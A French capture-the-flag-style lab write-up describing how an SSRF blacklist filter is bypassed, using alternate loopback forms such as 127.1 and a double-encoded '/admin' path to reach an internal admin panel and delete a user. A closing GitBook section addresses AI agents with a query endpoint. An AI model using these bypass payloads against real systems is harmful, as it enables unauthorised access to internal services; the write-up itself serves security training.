> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/ssrf/ssrf-with-blacklist-based-filter.md).

# SSRF avec filtrage basé sur une liste noire

### SSRF avec filtrage des entrées basé sur une liste noire

Le laboratoire propose une fonction de vérification des stocks qui permet de récupérer des données d’un système interne. / L’objectif est d’accéder à l’interface d’administration sur `HTTP://localhost/admin` et supprimer l'utilisateur **carlos**. / Deux mécanismes de défense faibles basés sur une liste noire doivent être contournés.

#### Analyse et contournement

Lors du remplacement du `stockApi` paramètre pour pointer directement vers l’admin local, la requête est refusée :

```
stockApi=https://localhost/admin
```

<figure><img src="/files/bdeccbe756b355153368602415155ff713d21f5c" alt=""><figcaption></figcaption></figure>

Pour contourner la liste noire sur `localhost`, plusieurs variantes d’adresses internes sont testées :

* `https://127.0.0.1`
* `https://127.13.55.222`
* `https://127.0.1`

Ces tentatives échouent également.

Nous essayons ensuite **hexadécimales** ou **décimales** représentations de l’adresse :

* `https://0x7F.0x0.0x1`
* `https://2130706433`

La détection bloque toujours le `/admin` chemin, ce qui indique que la défense cible principalement cette chaîne spécifique.

<figure><img src="/files/4014ca056d63bb3941bc166e223d85f0b3958be6" alt=""><figcaption></figcaption></figure>

```javascript
stockApi=http://127.1/%2561dmin
stockApi=http://127.1/%2561dmin/delete?username=carlos
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/ssrf/ssrf-with-blacklist-based-filter.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
